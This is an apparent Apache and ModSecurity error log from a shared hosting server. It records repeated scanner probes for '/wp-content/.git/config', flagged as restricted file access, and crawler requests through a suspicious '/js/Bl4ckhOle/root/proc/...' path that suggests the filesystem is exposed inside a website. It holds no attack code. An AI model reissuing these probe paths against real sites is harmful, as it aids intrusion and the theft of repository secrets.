[Fri Jul 17 08:36:34.724589 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s6AAAABI"]
[Fri Jul 17 08:36:34.724966 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-content/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s6AAAABI"]
[Fri Jul 17 08:36:34.725435 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s6AAAABI"]
[Fri Jul 17 08:36:34.818822 2026] [hostinglimits:warn] [pid 2018759:tid 2018759] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/ab73a92db320a9d8a5217d9c525e2a17502e2772.sock|fcgi://ksoft.web.lk) HOSTNAME(ksoft.web.lk) URL(/daph/daph4/vendor/nunomaduro/termwind/src/HtmlRenderer.php) TID(2018759) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.970566 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:35.448411 2026] [security2:error] [pid 1993715:tid 1993715] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN3RlmrtCoY_COpcjmAAAAAg"]
[Fri Jul 17 08:36:35.569382 2026] [security2:error] [pid 1993573:tid 1993573] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN3t8zp89pALg8Q5l-AAAAA4"]
[Fri Jul 17 08:36:35.768809 2026] [security2:error] [pid 2014308:tid 2014308] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcNwdFk8dCrY-oJNkeGAAAACA"]
[Fri Jul 17 08:36:35.843521 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qSgAAABE"]
[Fri Jul 17 08:36:35.945985 2026] [security2:error] [pid 2014279:tid 2014279] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN0z_ZDvgWqiMlMbMYgAAAB0"]
[Fri Jul 17 08:36:35.953482 2026] [security2:error] [pid 1993604:tid 1993604] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN4ha5y5fYnQ1qRrwsgAAAAE"]
[Fri Jul 17 08:36:35.970313 2026] [security2:error] [pid 2014321:tid 2014321] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcONbqW6u97-NXXfOsnAAAACE"]
[Fri Jul 17 08:36:36.074400 2026] [security2:error] [pid 2008451:tid 2008451] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOQPhWp7RzB65h36f6AAAAA0"]
[Fri Jul 17 08:36:36.161937 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOt0t9Kb_MdNxrg6_zQAAAAM"]
[Fri Jul 17 08:36:36.173235 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoZvbo7N5o5zeYC7-gAAABw"]
[Fri Jul 17 08:36:36.341538 2026] [security2:error] [pid 2013809:tid 2013809] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcN0gVnBK6wAv37w6pyQAAABQ"]
[Fri Jul 17 08:36:36.546979 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:36.552992 2026] [security2:error] [pid 2014286:tid 2014286] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOB15lhZh2QtC5qEXCAAAAB8"]
[Fri Jul 17 08:36:36.875236 2026] [ssl:error] [pid 2018765:tid 2018765] (70014)End of file found: [client 66.85.158.91:59076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:36.916476 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:37.061214 2026] [security2:error] [pid 1996894:tid 1996894] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOI4Wmn5zySdNNkAl2AAAABM"]
[Fri Jul 17 08:36:37.123933 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:59098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:37.343696 2026] [security2:error] [pid 2015125:tid 2015125] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcORJ0z2bEtnOrIXU-AwAAAAk"]
[Fri Jul 17 08:36:37.357386 2026] [security2:error] [pid 1993668:tid 1993668] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcNxAi3pC6yjXGNq1-PwAAAAU"]
[Fri Jul 17 08:36:37.357488 2026] [security2:error] [pid 1993668:tid 1993668] [client 2.57.122.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcNxAi3pC6yjXGNq1-PwAAAAU"]
[Fri Jul 17 08:36:37.357504 2026] [security2:error] [pid 1993668:tid 1993668] [client 2.57.122.13:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcNxAi3pC6yjXGNq1-PwAAAAU"]
[Fri Jul 17 08:36:37.487501 2026] [security2:error] [pid 2008451:tid 2008451] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcPQPhWp7RzB65h36f6QAAAA0"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:36:37.487553 2026] [security2:error] [pid 2008451:tid 2008451] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcPQPhWp7RzB65h36f6QAAAA0"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:36:37.856842 2026] [security2:error] [pid 2018741:tid 2018741] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOLoj0IkvhSCYadl_SAAAAAQ"]
[Fri Jul 17 08:36:37.951196 2026] [security2:error] [pid 1993619:tid 1993619] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOI1dLClkUfK_dfHiqAAAAAI"]
[Fri Jul 17 08:36:38.264344 2026] [security2:error] [pid 2018746:tid 2018746] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOT667v4yT6tz50zO6AAAAAo"]
[Fri Jul 17 08:36:38.396561 2026] [security2:error] [pid 1993671:tid 1993671] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOQ5GPQ6hs4VrfMo-1wAAAAY"]
[Fri Jul 17 08:36:38.457128 2026] [security2:error] [pid 2018747:tid 2018747] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almcOaA_b4B7w6EYONNvTgAAAAs"]
[Fri Jul 17 08:36:39.168026 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:59192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:39.389277 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:59204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:39.778250 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:40.880686 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:42.776565 2026] [core:error] [pid 2018747:tid 2018747] (13)Permission denied: [client 57.141.18.81:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory19/subsystem/devices/memory94/node0/memory111/subsystem/drivers_probe
[Fri Jul 17 08:36:44.507760 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:59890] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:48.449048 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:60050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:48.908571 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:60070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:49.976980 2026] [mime:warn] [pid 2018746:tid 2018746] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:36:52.566898 2026] [security2:error] [pid 1993574:tid 1993574] [client 43.135.211.148:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almcTN0t9Kb_MdNxrg6_1QAAAAM"]
[Fri Jul 17 08:36:52.607859 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 57.141.18.86:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory53/subsystem/devices/memory75/subsystem/devices/memory141/node0/memory15/subsystem/drivers_probe
[Fri Jul 17 08:36:53.374632 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcTY1dLClkUfK_dfHirQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:36:53.374679 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almcTY1dLClkUfK_dfHirQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:36:53.782394 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:32850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:36:55.784916 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.227:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almcT41dLClkUfK_dfHirgAAAAI"]
[Fri Jul 17 08:36:55.785274 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lezzarotech.com"] [uri "/robots.txt"] [unique_id "almcT41dLClkUfK_dfHirgAAAAI"]
[Fri Jul 17 08:36:55.825986 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.244.66.227:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lezzarotech.com"] [uri "/index.php"] [unique_id "almcT41dLClkUfK_dfHirgAAAAI"]
[Fri Jul 17 08:37:03.141390 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:53644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:11.106651 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:54228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:11.371066 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:14.697210 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:14.739933 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:17.868760 2026] [mime:warn] [pid 2018746:tid 2018746] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:37:17.920514 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:43714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:37:18.285883 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory2/node0/memory118/node0/memory127/node0/memory21/power/"] [unique_id "almcZroj0IkvhSCYadl_WgAAAAQ"]
